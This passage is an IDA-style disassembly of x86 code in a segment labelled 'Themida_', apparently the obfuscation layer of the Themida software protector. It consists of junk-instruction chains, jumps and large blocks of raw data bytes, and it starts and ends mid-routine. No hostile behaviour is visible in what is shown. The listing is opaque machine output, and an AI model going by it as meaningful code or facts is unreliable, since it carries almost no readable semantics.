		and	ch, bl
		pop	ebx
		jmp	loc_56378A
; ---------------------------------------------------------------------------


loc_55E131:				; CODE XREF: Themida_:0055DCA6j
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	ebx
		pop	esi
		jmp	loc_55AE84
; ---------------------------------------------------------------------------
		db 1, 0DFh, 81h
		dd 0D4BC9EFh, 0F8295B32h, 4264685Fh, 14890000h,	2802BA24h
		dd 0D0291305h, 240C8B5Ah, 5704C483h, 18B6E9h, 4BB5300h
		dd 29000000h, 241C8BD9h, 8704C483h, 248B240Ch, 242C8924h
		dd 536AB850h, 0E95502B8h, 70E4h, 815FFB01h, 0E01F0FC3h
		dd 0CFC38150h, 0C139423Fh, 1DE903E3h, 55000045h, 0F5138CBDh
		dd 0E9E80968h, 0FFFF3BE3h, 4BAh, 900CE900h, 0FB68FFFFh
		dd 8900003Dh, 5B54241Ch, 4C381h, 0C3830000h, 0F29EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E1D6:				; CODE XREF: Themida_:0055C031j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55DDAD
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 31h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E1E7:				; CODE XREF: Themida_:005643DAj
		mov	eax, 5D7010C9h
		jmp	loc_55333B
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 8Ah
		dd 0E9319542h, 0FFFFA263h, 0A023E956h, 0C381FFFFh, 0B2562793h
		dd 815BDE89h, 535844F6h, 0D7C68100h, 0E929F3A4h, 0FFFFAA06h
		dd 52D830ACh, 686625B2h, 89660D75h, 90E9241Ch, 5200004Dh
		dd 0FB1508BAh, 0E9D63163h, 0FFFFBABCh, 6F1E68h,	242C8900h
		dd 4F0596BDh, 49FEE93Ch, 0BD55FFFFh, 33C77BDBh,	6894F581h
		dd 0C581422Dh, 1D6142ABh, 100EED81h, 0E8291C8Ah, 6F97E95Dh
		dd 0C885FFFFh, 3478E99Ch, 81B9FFFFh, 8139557Bh,	2B3F59E9h
		dd 7339E966h, 4BAFFFFh,	29000000h, 0C875AD1h, 24248B24h
		dd 0BB241C89h, 155A428Ah, 0E9D0F793h, 0FFFF6A63h, 0FFFFC281h
		dd 42E9FFFFh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E2AF:				; CODE XREF: Themida_:00560F0Aj
		mov	al, dl
		mov	bh, al
		pop	eax
		pop	edx
		mov	ch, bh
		pop	bx
		jmp	loc_564007
; ---------------------------------------------------------------------------


loc_55E2BE:				; CODE XREF: Themida_:00564512j
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_55AF43
; ---------------------------------------------------------------------------
		db 68h,	4Ch, 78h
		dd 1C890000h, 875BE924h, 0E9520000h, 0FFFFA0D8h, 905CB8BFh
		dd 4EC833Ah, 0E9240489h, 0FFFFBE38h, 0BE56D8F7h, 2FEC3D84h
		dd 7361E9h, 8F27B800h, 0D801C5D1h, 83241C8Bh, 0C20104C4h
		dd 6824048Bh, 5AE8h, 54243489h,	4C6815Eh, 81000000h, 4C6h
		dd 24348700h, 6824248Bh, 1E51h,	0BB241C89h, 36872A0Ah
		dd 0DBF7DBF7h, 6756EB81h, 0DBF72011h, 0FF93CEE9h, 81C281FFh
		dd 58752138h, 33E0E9h, 81E68900h, 4ECh,	241C8900h, 2655B2BBh
		dd 15F3812Fh, 0E90EFD18h, 0FFFFCAFFh
; ---------------------------------------------------------------------------


loc_55E374:				; CODE XREF: Themida_:0055EB7Cj
		push	edi
		mov	edi, 3DF50B47h
		jmp	loc_55D4A8
; ---------------------------------------------------------------------------


loc_55E37F:				; CODE XREF: Themida_:00551FC0j
		add	al, 33h
		xor	al, 0AAh
		jmp	loc_56494E
; ---------------------------------------------------------------------------
		dd offset loc_54AE63+5
		dd 2B50E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E392:				; CODE XREF: Themida_:00560E87j
		mov	esi, ebx
		jmp	loc_557F26
; ---------------------------------------------------------------------------
		db 29h,	0C1h, 58h
		dd 104CE981h, 505B230Ch, 4CEE68h, 2155E900h, 0C4810000h
		dd 4, 3AF4C781h, 0D7011499h, 3AF4EF81h,	0C7811499h, 24C17038h
		dd 4EC835Ah, 0BA241489h, 2, 3D89C781h, 0D7012C9Eh, 8ABE9h
		dd 5EF00900h, 796AB82Dh, 0ADBA5277h, 0E912D056h, 2158h
		dd 5DEF0158h, 8B243C87h, 0FF522424h, 5A042474h,	8B24048Fh
		dd 4892424h, 32DCE924h,	0CD68FFFFh, 89000047h, 0E954243Ch
		dd 0FFFF6709h, 81241C8Bh, 4C4h,	24048F00h, 6624248Bh, 2404BB0Fh
		dd 32B4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E43A:				; CODE XREF: Themida_:00562569j
		mov	esp, [esp]
		push	704Ch
		mov	[esp], ebp
		mov	ebp, 37266E2Dh
		not	ebp
		or	ebp, 24CC3B4Dh
		and	ebp, 33946486h
		jmp	loc_555ACE
; ---------------------------------------------------------------------------


loc_55E45D:				; CODE XREF: Themida_:00559FA3j
		pop	edx
		jmp	loc_558884
; ---------------------------------------------------------------------------
		db 57h
		dd 0AB5AFBBFh, 3A30E930h, 665C0000h, 51241C89h,	67E9F588h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E47B:				; CODE XREF: Themida_:00563A11j
		push	1A6Fh
		mov	[esp], esi
		jmp	loc_558E1D
; ---------------------------------------------------------------------------
		dd 8F04C483h, 835C2404h, 3C8904ECh, 56E78924h, 6E62DABEh
		dd 81DEF769h, 0AE672FEEh, 3AE9575Bh, 81000079h,	657D0BC3h
		dd 5B4AE9ADh, 1660000h,	0C0566F8h, 2434FF52h, 83243C8Bh
		dd 895704C4h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 4A9AE95Ch
		dd 0EC81FFFFh, 4, 0E9240489h, 60B7h
; ---------------------------------------------------------------------------


loc_55E4EC:				; CODE XREF: Themida_:005535DBj
		mov	ebx, [esp]
		jmp	loc_5588AD
; ---------------------------------------------------------------------------
		dd 0BF57FB87h, 4F3F3FCAh, 5F4BE9h, 2434FF00h, 0FCB4E95Bh
		dd 0D2F6FFFFh, 0D488C2FEh, 2376E9h, 81E68900h, 4C6h, 4EE8300h
		dd 5C243487h, 56240489h, 0FF84BEE9h, 609B68FFh,	0E2E90000h
		dd 4E00005Ch, 1895EE81h, 0F1019871h, 34DE9h, 69BE6600h
		dd 0EE81665Dh, 0EEE9301Eh
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E553:				; CODE XREF: Themida_:00553751j
		add	ebx, eax
		add	ebx, 4A744668h
		pop	eax
		shr	ebx, 7
		sub	ebx, 242400h
		add	ebp, ebx
		jmp	loc_55C374
; ---------------------------------------------------------------------------
		dd 4EC81h, 0AAE90000h, 57000043h, 0C7815F54h, 4, 2EF81h
		dd 3C330000h, 78C6E924h, 0C87FFFFh, 3C895C24h, 3C8B5424h
		dd 8FA2E924h, 8159FFFFh, 15200CEDh, 246C0101h, 685B5D04h
		dd 7225h, 0BE243489h, 4, 0FF46D1E9h, 5A7004FFh,	0C01EB151h
		dd 0D1F602E1h, 8008E9C0h, 0B25287E9h, 0E9CAFEE7h, 0FFFF69C7h
		dd 575DE889h, 0FF419EE9h, 65B353FFh, 0E3D0DBF6h, 8804C380h
		dd 241C8BDCh, 4C481h, 0F4800000h, 12D7687Ch, 14890000h
		dd 0E9B6B224h, 0FFFFD5F2h, 5C240C33h, 629A68h, 243C8900h
		dd 2BB168h, 4EC8300h, 24048F54h, 4240483h, 29DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E629:				; CODE XREF: Themida_:00562860j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56338E
; ---------------------------------------------------------------------------
		dd 24248B66h, 0FF30A9E9h, 2474FFFFh, 243C8B04h,	81E28952h
		dd 4C2h, 4C28100h, 87000000h, 6CE92414h, 5B000032h, 0FFD3ADE9h
		dd 1C895CFFh, 3D685124h, 59188048h, 0F705E1C1h,	4E9C1D9h
		dd 6F84E981h, 0CB890EFFh, 5BD80159h, 31240433h,	4332404h
		dd 24248B24h, 0E9028864h, 0FFFF3052h, 164168h, 24048900h
		dd 2B8h, 0E9C78900h, 7B8Bh, 24048B66h, 2C8B5455h, 4C48324h
		dd 86BB5351h, 0B9172F6Dh, 0E8D0927Eh, 15BD901h,	8FE959CDh
		dd 1000061h, 57BD55F3h,	0E9475751h, 0FFFF7CA2h,	61322ABEh
		dd 4F7E948h, 0C15E0000h, 95E906E6h, 0FF000043h,	0FF042474h
		dd 48B2434h, 0E1895124h, 4C181h, 0C1830000h, 240C3304h
		dd 0E9240C31h, 0FFFFFEF4h, 4C48358h, 8B24048Fh,	8B662424h
		dd 0A668240Ch, 89000018h, 0E789243Ch, 552668h, 24048900h
		dd 0B6E95355h, 66000067h, 661C2168h, 88241489h,	245C8ADEh
		dd 24748802h, 6EE6E902h, 0C5810000h, 6F4C30F1h,	5DD68h
		dd 24148900h, 0BE484368h, 0EA815A63h, 3C6F5605h, 0C781FA87h
		dd 1, 0C281FA87h, 6CF40B02h, 0FF3B25E9h, 0AD685BFFh, 89000041h
		dd 74FF2404h, 8F580424h, 0BEE92404h, 89FFFF33h,	24048BC3h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFF3F30h
; ---------------------------------------------------------------------------


loc_55E7B4:				; CODE XREF: Themida_:0055811Ej
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dd 405h, 3E95300h, 83000027h, 0EC8104C4h, 4, 629AE9h, 81E68900h
		dd 4C6h, 0A949E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E7E6:				; CODE XREF: Themida_:00563B61j
		xor	ecx, 0DDD5A233h
		and	ebx, ecx
		jmp	loc_562382
; ---------------------------------------------------------------------------
		db 66h
		dd 283BB551h, 59BFE9EAh, 0C381FFFFh, 66DC0D37h,	5624348Bh
		dd 4DCBE9h, 64ADBD00h, 6C012D65h, 0E95D0424h, 0FFFF2ED2h
; ---------------------------------------------------------------------------


loc_55E81C:				; CODE XREF: Themida_:00556C39j
		push	6BC7h
		mov	[esp], ecx
		jmp	loc_56541D
; ---------------------------------------------------------------------------
		db 68h,	32h, 26h
		dd 0C890000h, 4AEAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E836:				; CODE XREF: Themida_:0055CC65j
		xor	ebx, edi
		pop	edi
		add	ebx, 268D448Ch
		xor	ebx, 5C6A70EEh
		push	edx
		mov	edx, 499B1175h
		shr	edx, 7
		inc	edx
		add	edx, 0FD1E415Fh
		xor	ebx, edx
		pop	edx
		sub	esi, ebx
		jmp	loc_551B68
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 8B241487h, 0F662424h,	5166C8AFh, 2E74E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E87A:				; CODE XREF: Themida_:00558489j
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_561F77
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C1h, 240C3300h, 33240C31h, 248B240Ch, 3A3BE924h, 0E953FFFFh
		dd 0FFFFD1BCh
; ---------------------------------------------------------------------------


loc_55E8B0:				; CODE XREF: Themida_:005592DCj
		pop	edx
		add	al, 0D9h
		add	al, 31h
		sub	al, ch
		sub	al, 31h
		push	ecx
		mov	ch, 0D9h
		jmp	loc_5643A0
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Bh, 0E9000000h, 0FFFF5B44h, 81595451h,	4ECh, 24348900h
		dd 576D1BBEh, 2145E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E8E6:				; CODE XREF: Themida_:0056013Cj
		mov	edi, 3F7955E6h
		jmp	loc_557A9D
; ---------------------------------------------------------------------------
		dd 2444815Bh, 0CE62CF04h, 246C8139h, 746D9A04h,	24440115h
		dd 24448104h, 746D9A04h, 834AE915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E912:				; CODE XREF: Themida_:0055248Ej
		xor	eax, 328421E5h
		add	esi, eax
		jmp	loc_56308B
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 8ED11EDAh, 0D1E9D601h, 5000042h, 0E83BE085h,	0FF5320E9h
		dd 2D95BAFFh, 0B6E96600h, 81000076h, 0AE0F7BEBh, 0E9EB290Bh
		dd 0FFFFB3DBh, 984E4768h, 24048B34h, 4C481h, 47350000h
		dd 6834984Ch, 3BD9h, 68243C89h,	3C31h, 8B240489h, 0C481243Ch
		dd 4, 4EC81h, 2C890000h, 4CFE6824h, 3C890000h, 0EE895D24h
		dd 243C8B5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 62DE6D16h
		jmp	loc_55894E
; ---------------------------------------------------------------------------
aSzn		db '[éZn',0
		align 2
		dw 0F581h
		dd 23D0131Bh, 0FFABCBE9h, 5AD389FFh, 0FAABD55h,	0CD810EDCh
		dd 356334A4h, 0FF423CE9h, 4EC83FFh, 54240489h, 0E924048Bh
		dd 0FFFFEE45h, 0FF243489h, 8B042474h, 54552434h, 4C5815Dh
		dd 50000000h, 4B8h, 0E9C50100h,	0FFFF9C80h, 2D8968h, 24248900h
		dd 0FF7F78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EA05:				; CODE XREF: Themida_:0055887Fj
		mov	ecx, 70EE10E2h
		not	ecx
		shl	ecx, 6
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	ecx, ebp
		jmp	loc_552A1E
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 69h, 4C181h, 0C870000h, 24248B24h, 7AC7BF57h
		dd 0F8313BD0h, 5F2434FFh, 650168h, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55922C
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 864196EDh, 52F50138h, 3A1E86BAh, 0E94A4217h,	4C6Dh
; ---------------------------------------------------------------------------


loc_55EA68:				; CODE XREF: Themida_:00560FDFj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 7CD930D5h
		dec	esi
		not	esi
		inc	esi
		sub	esi, 516CAC47h
		mov	ebp, esi
		pop	esi
		sub	ebp, 31A361ADh
		push	esi
		jmp	loc_55FE7F
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF4912E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EA95:				; CODE XREF: Themida_:005554F1j
		pop	edi
		add	ecx, edx
		add	ecx, 22F218B1h
		pop	edx
		jmp	loc_564D37
; ---------------------------------------------------------------------------
		dd 0BF57C331h, 33340EBEh, 0CF81DFF7h, 66D702C6h, 5A6BE9h
		dd 24148900h, 0C281E289h, 4, 0FF3BBEE9h, 24248BFFh, 0BE243489h
		dd 66C8329Ch, 68h, 24342900h, 0FFFC09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EAE1:				; CODE XREF: Themida_:0055C5B6j
		xchg	esi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	edi
		push	ebp
		push	3A21543Ch
		pop	ebp
		and	ebp, 423D0F3Ch
		and	ebp, 4C6654D1h
		push	edx
		mov	edx, 78FE11B9h
		jmp	loc_559F9B
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 4EA81h, 14E90000h, 68FFFF73h,	549Fh
		dd 56243489h, 0C6815E54h, 4, 0FF7C25E9h, 48C781FFh, 8172B64Fh
		dd 502FEEEFh, 241C8B6Ch, 660F68h, 241C8900h, 3EE95B54h
		dd 0B8FFFF65h, 71727465h, 29C1E9h, 295DBF00h, 0FD017932h
		dd 52C5295Fh, 32295DBAh, 5AD52979h, 0FF4215E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EB71:				; CODE XREF: Themida_:005653E9j
		mov	esp, [esp]
		push	0EB9h
		mov	[esp], ecx
		jmp	loc_55E374
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 44ADE95Bh, 0DFBEFFFFh, 0F763940Fh, 51F681D6h, 81021377h
		dd 0BBBADFF6h, 5EF029E5h, 0C20782Dh, 5C80105h, 50C2078h
		dd 0C33DAE05h, 2992E97Bh, 68550000h, 524D0A2Eh,	83242C8Bh
		dd 0BE5604C4h, 0D85FB94Ch, 0BA8ED81h, 0C58177FFh, 323834CBh
		dd 0FF8696E9h, 0C39D61FFh, 0FF3631E9h, 5EF109FFh, 3ADFBA52h
		dd 0B850269Ah, 5D8229C9h, 20BFBB53h, 0F74B3C74h, 8EBC1D3h
		dd 82ACF381h, 0D8312354h, 0BC17E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC0A:				; CODE XREF: Themida_:00561FE9j
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55EE31
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	242C895Ch, 3CD268h, 48F5400h, 24048124h
		dd 4, 81242C8Bh, 4C4h, 0A8BB5300h, 83016029h, 4F6801C3h
		dd 89000048h, 53E9240Ch
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EC57:				; CODE XREF: Themida_:00560A68j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_558B35
; ---------------------------------------------------------------------------
		dd 0E9D8005Ch, 685Fh, 3D89EF81h, 335A2C9Eh, 3C31243Ch
		dd 243C3324h, 824248Bh,	0E99C2404h, 0FFFF2A46h
; ---------------------------------------------------------------------------


loc_55ECA8:				; CODE XREF: Themida_:005627FCj
		xor	ebp, 75CD0AE1h
		dec	ebp
		xor	ebp, 75C4BEDDh
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 324165DEh, 0C69EE957h, 8141FFFFh, 5A6193F1h,	9EC9812Ch
		dd 81528D21h, 9B55A2C1h, 0A4F18138h, 81AF5A87h,	196A14C5h
		dd 9F8EE908h, 1C89FFFFh, 95BE5624h, 8165B212h, 8436E2F6h
		dd 0EE68123h, 0F763746Fh, 68B850DEh, 29524C61h,	0F38958C6h
		dd 0E2FCE95Eh, 0F581FFFFh, 43CA4EC8h, 33C7E581h, 0BB5322CEh
		dd 0FDB5EF44h, 0F5E9DD01h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55ED3B:				; CODE XREF: Themida_:0055726Aj
		xchg	bl, ch
		inc	bl
		push	dx
		mov	dh, bl
		mov	bl, ch
		mov	ch, dh
		jmp	loc_56159B
; ---------------------------------------------------------------------------
		dd 874FFA87h, 71368FAh,	3C890000h, 4BFDBF24h, 0C28150ADh
		dd 641A3FE0h, 0EA81FA01h, 641A3FE0h, 0E9243C8Bh, 59F9h
		dd 3504EE81h, 0FE297CBBh, 3504C681h, 3C8B7CBBh,	4C48124h
		dd 83000000h, 348904ECh, 2474FF24h, 24348B04h, 726DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55ED9D:				; CODE XREF: Themida_:0055FFA9j
		sub	edi, 740F7671h
		sub	edi, eax
		jmp	loc_552A40
; ---------------------------------------------------------------------------
		dw 0DA88h
		dd 8B66585Bh, 0C481241Ch, 2, 0FFD0BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EDBD:				; CODE XREF: Themida_:0055FE85j
		mov	ecx, 0EF95A76h
		add	ecx, 31F1CB18h
		add	esi, ecx
		pop	ecx
		sub	esi, 83164572h
		or	ebp, esi
		pop	esi
		jmp	loc_55F781
; ---------------------------------------------------------------------------
		db 0BDh, 8Fh, 1
		dd 0C5813109h, 7078D6A4h, 105FE9h, 5AD50100h, 68E28952h
		dd 0FBEh, 3FFDE9h, 0D6E95500h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EDFF:				; CODE XREF: Themida_:00561F48j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55EFBB
; ---------------------------------------------------------------------------


loc_55EE31:				; CODE XREF: Themida_:0055EC16j
		pop	esp
		add	esp, 4
		push	4ADAh
		jmp	loc_566366
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041966h, 289CE99Ch, 0CA01FFFFh,	83240C8Bh
		dd 0EA8304C4h, 0F1ABE904h, 0C31FFFFh, 240C3324h, 68240C31h
		dd 57Ah, 68240C89h, 4A5Fh, 0E9242C89h, 0FFFFA4B7h
; ---------------------------------------------------------------------------


loc_55EE80:				; CODE XREF: Themida_:00566958j
		mov	[esp], esi
		mov	esi, 27E261AAh
		push	0
		add	dword ptr [esp], 29C65DBEh
		jmp	loc_55F739
; ---------------------------------------------------------------------------


loc_55EE99:				; CODE XREF: Themida_:00563BEFj
		xor	edx, 3C7A2202h
		add	ecx, edx
		pop	edx
		add	ecx, 4
		jmp	loc_5616D8
; ---------------------------------------------------------------------------


loc_55EEAD:				; CODE XREF: Themida_:0055FFC4j
		add	ecx, 0A2323BF5h
		sub	ebp, ecx
		pop	ecx
		pop	eax
		push	ecx
		push	esi
		push	eax
		mov	eax, 4C4557C6h
		mov	esi, eax
		pop	eax
		dec	esi
		not	esi
		jmp	loc_561A4B
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 47EBF381h,	0DEE90040h, 0BF000021h,	23C72262h
		dd 815FFB01h, 1D499DF3h, 95C28130h, 8117173Fh, 5B5426C2h
		dd 0E9DA0143h, 37DFh, 4B7C3DBDh, 0ED814D08h, 39BD620Bh
		dd 0C581D5F7h, 40AD201Eh, 0C34CED81h, 0EA210DAEh, 2E2C15Dh
		dd 87CBF57h, 0FA299041h, 0FF6070E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EF29:				; CODE XREF: Themida_:00562624j
		dec	ebp
		jmp	loc_55BD5C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFE54AE9h, 0FEF581FFh, 89A3B8B3h, 7815E9E8h, 4830000h
		dd 148B0424h, 4EC8124h,	89000000h, 0E2892414h, 7163E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF59:				; CODE XREF: Themida_:0055D1E6j
		mov	ah, ch
		pop	ecx
		jmp	loc_5568AB
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0F5h
		dd 7209C6BDh, 0E95DEE01h, 0FFFF7BD6h, 0EA81CA01h, 2F463280h
		dd 5B61E9h, 0E3895300h,	4C381h,	0CCE90000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EF8B:				; CODE XREF: Themida_:00553FD5j
		pop	ebx
		push	1FDDh
		mov	[esp], ecx
		jmp	loc_560681
; ---------------------------------------------------------------------------
		db 0BDh, 98h, 3Ah
		dd 0E9290C00h, 0FFD5CAE9h, 14F755FFh, 0EA875D24h, 5D241487h
		dd 0CD31E931h, 0FE9E931h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EFBB:				; CODE XREF: Themida_:0055EE2Cj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	55D0h
		jmp	loc_55D421
; ---------------------------------------------------------------------------
		dd 6A64F72Dh, 57E80127h, 0B5BE9h, 0E932FF00h, 0FFFF270Eh
; ---------------------------------------------------------------------------


loc_55EFE0:				; CODE XREF: Themida_:005548B4j
		mov	cl, bh
		jmp	loc_55BF9E
; ---------------------------------------------------------------------------
aEbaMUsF	db 'EíÝMìUéÐf',0
		dw 8100h
		dd 4C3h, 4EB8300h, 5C241C87h, 54241489h, 4C2815Ah, 53000000h
		dd 9E1EEEBBh, 0AC31E964h, 48FFFFFh, 26D0E924h, 28FFFFFh
		dd 0FF9C32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F025:				; CODE XREF: Themida_:00560DA4j
		mov	[esp], edi
		jmp	loc_554484
; ---------------------------------------------------------------------------
		db 1, 0C8h, 8Bh
		dd 8953240Ch, 4C381E3h,	81000000h, 4ECh, 24348900h, 4BEh
		dd 3E3AE900h, 815FFFFFh, 4C7h, 4EF8100h, 87000000h, 0CCE9243Ch
		dd 0FFFFFFFEh, 56592404h, 0A04C4F68h, 3549E96Fh, 0F2010000h
		dd 49BDE9h, 0CB895300h,	595BDF89h, 0CA9BF57h, 7C016EB6h
		dd 0BEE90824h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F08F:				; CODE XREF: Themida_:005652AFj
		pop	ecx
		add	ebx, 365F26DAh
		sub	ebx, edi
		push	edx
		mov	edx, 365F26DAh
		sub	ebx, edx
		pop	edx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_558D62
; ---------------------------------------------------------------------------


loc_55F0C4:				; CODE XREF: Themida_:0056439Bj
		mov	al, dh
		mov	cl, al
		mov	eax, [esp]
		jmp	loc_55A9D0
; ---------------------------------------------------------------------------
		dd 741DBD55h, 0ED81679Fh, 0A9EFABC1h, 0FF61D8E9h, 4B951FFh
		dd 0E9000000h, 0FFFF5E52h, 0EB81EB01h, 6B860BA2h, 61A7EB81h
		dd 0BE90EC4h, 81FFFF2Eh, 4C5h, 0C3A1E900h, 248BFFFFh, 4042E924h
		dd 0E6BE0000h, 810A7563h, 546D8AEDh, 5DB3E93Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F122:				; CODE XREF: Themida_:0055A582j
		sub	ebx, 0C999878Ch
		and	ebp, ebx
		jmp	loc_55A275
; ---------------------------------------------------------------------------
		db 66h
		dd 68241489h, 2298h, 68241C89h,	7E28h, 0E9241489h, 56C7h
		dd 89243C89h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 6824248Bh
		dd 500Ah, 68241489h, 28E3h, 68242C89h, 184E78EAh, 81242C8Bh
		dd 4C4h, 4815500h, 0A330BB24h, 2434FF25h, 4C4835Ah, 30BBEA81h
		dd 815D25A3h, 51ECBC2h,	0BA52554Bh, 4D3226C6h, 15AD589h
		dd 2A2BE9E8h, 0E7890000h, 0FFE799E9h, 48B66FFh,	4EC8324h
		dd 89243C89h, 4C781E7h,	81000000h, 4ECh, 24148900h, 0F8E95253h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F1D3:				; CODE XREF: Themida_:005617BBj
		mov	bl, 7Ch
		or	bl, 0E0h
		jmp	loc_563A16
; ---------------------------------------------------------------------------


loc_55F1DD:				; CODE XREF: Themida_:0055DE4Ej
		add	ebp, 4
		add	ebp, 4
		jmp	loc_552C94
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 0C8040502h, 0D5E9B144h, 1FFFFBAh, 242C8BEBh,	0E904C483h
		dd 0FFFF81F2h, 4C481h, 0EEC10000h, 7C06E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F216:				; CODE XREF: Themida_:00566194j
		mov	eax, 72387709h
		not	eax
		and	eax, 609E5155h
		sub	eax, 0B646928h
		xor	eax, 70541AADh
		inc	eax
		xor	eax, 0B723DB36h
		jmp	loc_55DE0E
; ---------------------------------------------------------------------------
aAuvs		db '€îVéº/',0
		dw 8100h
		dd 0A27F05F6h, 12A3E96Eh, 0E0C10000h, 20BB5302h, 108DA80h
		dd 0C1895BD8h, 0E924048Bh, 0FFFF939Eh, 81242489h, 42404h
		dd 815A0000h, 4C2h, 4C28300h, 0FF7264E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F279:				; CODE XREF: Themida_:0055C38Bj
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55C94D
; ---------------------------------------------------------------------------


loc_55F284:				; CODE XREF: Themida_:0055512Bj
		mov	ebp, 67A2AE2Dh
		sub	eax, ebp
		pop	ebp
		mov	ebx, eax
		jmp	loc_562865
; ---------------------------------------------------------------------------


loc_55F293:				; CODE XREF: Themida_:00554240j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_558669
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 65F7E924h, 0C281FFFFh, 73DD0A8Ch, 5AD7215Eh,	8904EC83h
		dd 0A968240Ch, 0E94B3706h, 4816h
; ---------------------------------------------------------------------------


loc_55F2C4:				; CODE XREF: Themida_:00551BA8j
		push	ecx
		mov	ecx, 6ECC7E35h
		dec	ecx
		not	ecx
		or	ecx, 67487A9Ch
		jmp	loc_56586F
; ---------------------------------------------------------------------------


loc_55F2D8:				; CODE XREF: Themida_:00557F64j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 22E828C8h
		push	0
		sub	dword ptr [esp], 74EE4FE0h
		sub	dword ptr [esp], 58534AB5h
